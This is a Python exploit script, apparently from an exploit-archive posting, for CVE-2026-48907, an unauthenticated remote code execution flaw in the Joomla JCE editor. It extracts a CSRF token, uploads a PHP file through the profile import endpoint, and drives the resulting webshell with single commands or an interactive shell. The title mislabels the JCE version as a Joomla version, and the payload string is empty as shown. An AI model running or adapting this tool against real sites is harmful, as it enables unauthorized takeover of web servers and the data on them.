# Exploit Title: Joomla 2.9.99.4 -Unauthenticated Remote Code Execution
# Date: 2026-07-10
# Exploit Author: K3ysTr0K3R (Jared Brits)
# Vendor Homepage: https://www.joomla.org/
# Software Link: https://extensions.joomla.org/extension/jce/
# Version: JCE 1.0.0 through 2.9.99.4 (fixed in 2.9.99.5)
# Tested on: Joomla 3.10.11 / JCE 2.9.15 / Apache 2.4 / PHP 7.4
# CVE: CVE-2026-48907
# Description: The JCE (Joomla Content Editor) profile import functionality
# lacks proper authentication and CSRF protections. An unauthenticated
# attacker can upload a crafted XML file containing PHP code; the
# file is stored in the /tmp/ directory and can be accessed via HTTP,
# leading to remote code execution.
#
# Usage examples:
# python3 exploit.py -u http://example.com --interactive
# python3 exploit.py -u http://example.com --cmd "id"
# python3 exploit.py -u http://example.com -v
import re
import sys
import argparse
import requests
from random import randint
from time import sleep
from urllib.parse import urljoin
from rich.console import Console
from rich.text import Text
console = Console()
requests.packages.urllib3.disable_warnings(
requests.packages.urllib3.exceptions.InsecureRequestWarning
)
class JCEExploit:
def __init__(self, target_url, proxy=None, verbose=False):
self.target = target_url.rstrip('/')
self.verbose = verbose
self.session = requests.Session()
self.session.verify = False
if proxy:
self.session.proxies = {
'http': proxy,
'https': proxy
}
self.filename = f"jce-{randint(1000, 9999)}.xml.php"
self.payload = ''
def log(self, msg, level="INFO"):
if self.verbose or level in ["SUCCESS", "ERROR", "WARNING"]:
level_style = {
"INFO": "blue",
"SUCCESS": "green",
"ERROR": "red",
"WARNING": "yellow"
}
symbol = {
"INFO": "[*]",
"SUCCESS": "[+]",
"ERROR": "[-]",
"WARNING": "[!]"
}.get(level, "[*]")
text = Text()
text.append(symbol, style=level_style.get(level, "blue"))
text.append(f" {msg}")
console.print(text)
def get_csrf_token(self):
try:
resp = self.session.get(self.target + '/', timeout=10)
if resp.status_code != 200:
self.log(f"Unable to reach target (HTTP {resp.status_code})", "ERROR")
return None
patterns = [
r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"',
r']*name="([a-f0-9]{32})"[^>]*value="1"',
r']*name="csrf\.token"[^>]*content="([a-f0-9]{32})"',
r'name="([a-f0-9]{32})"\s+value="1"',
]
for pattern in patterns:
match = re.search(pattern, resp.text, re.I)
if match:
token = match.group(1)
self.log(f"CSRF token extracted: {token}", "SUCCESS")
return token
self.log("Could not find CSRF token in the page", "ERROR")
return None
except requests.RequestException as e:
self.log(f"Request failed: {e}", "ERROR")
return None
def upload_profile(self, token):
if not token:
return False
endpoint = urljoin(self.target, '/index.php?option=com_jce')
files = {
'profile_file': (self.filename, self.payload, 'application/xml')
}
data = {
'task': 'profiles.import',
token: '1'
}
try:
self.log(f"Uploading malicious file: {self.filename}")
resp = self.session.post(endpoint, files=files, data=data, timeout=15)
if resp.status_code != 200:
self.log(f"Upload failed (HTTP {resp.status_code})", "ERROR")
return False
if 'success' in resp.text and 'true' in resp.text:
self.log("Profile imported – file written to /tmp/", "SUCCESS")
return True
else:
self.log("Profile import may have failed", "WARNING")
return False
except requests.RequestException as e:
self.log(f"Upload request failed: {e}", "ERROR")
return False
def get_webshell_url(self):
return urljoin(self.target, f'/tmp/{self.filename}')
def execute_command(self, command):
if not command:
return ""
url = self.get_webshell_url()
try:
resp = self.session.get(url, params={'cmd': command}, timeout=10)
if resp.status_code == 200:
return resp.text
else:
return f"[!] HTTP {resp.status_code} – command may have failed."
except requests.RequestException as e:
return f"[!] Request error: {e}"
def interactive_shell(self):
self.log("Entering interactive shell. Type 'exit' to quit.", "SUCCESS")
console.print(f"Webshell URL: [cyan]{self.get_webshell_url()}[/cyan]\n")
while True:
try:
cmd = console.input("[cyan]$> [/cyan]").strip()
if cmd.lower() in ('exit', 'quit'):
break
if cmd == "":
continue
output = self.execute_command(cmd)
print(output)
except KeyboardInterrupt:
print("\nExiting.")
break
def run(self, command=None, interactive=False):
self.log(f"Target: {self.target}")
self.log("Starting CVE-2026-48907 exploitation process")
token = self.get_csrf_token()
if not token:
self.log("Unable to get CSRF token – JCE may not be installed or fixed.", "ERROR")
return False
if not self.upload_profile(token):
self.log("Upload failed – target may be patched.", "ERROR")
return False
test_output = self.execute_command("echo JCE_TEST")
if "JCE_TEST" in test_output:
self.log("Webshell is active and responding.", "SUCCESS")
else:
self.log("Webshell does not respond as expected – command execution may be disabled.", "WARNING")
if command:
self.log(f"Executing command: {command}")
output = self.execute_command(command)
print(output)
return True
if interactive:
self.interactive_shell()
else:
self.log("Exploit complete. Use --interactive to get a shell, or --cmd to run one command.", "INFO")
self.log(f"Direct webshell URL: {self.get_webshell_url()}")
return True
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-48907 - Joomla JCE Unauthenticated RCE',
epilog='Examples:\n'
' python3 exploit.py -u http://target.com --interactive\n'
' python3 exploit.py -u http://target.com --cmd "id"\n'
' python3 exploit.py -u http://target.com -v'
)
parser.add_argument('-u', '--url', required=True, help='Target Joomla base URL')
parser.add_argument('--proxy', help='HTTP proxy (e.g., http://127.0.0.1:8080)')
parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output')
parser.add_argument('--cmd', help='Execute a single command and exit')
parser.add_argument('--interactive', action='store_true', help='Start an interactive shell')
args = parser.parse_args()
banner = Text()
banner.append("[!] ", style="yellow")
banner.append("CVE-2026-48907 - Joomla JCE Unauthenticated RCE Exploit\n")
banner.append("[!] ", style="yellow")
banner.append("Coded by K3ysTr0K3R (Jared Brits)\n")
console.print(banner, style="bold")
if not args.verbose and not args.cmd and not args.interactive:
confirm = console.input("\nConfirm you are testing in an authorized environment? (y/N): ")
if confirm.lower() != 'y':
console.print("Exiting.")
sys.exit(0)
exploit = JCEExploit(args.url, args.proxy, args.verbose)
success = exploit.run(command=args.cmd, interactive=args.interactive)
sys.exit(0 if success else 1)
if __name__ == "__main__":
main()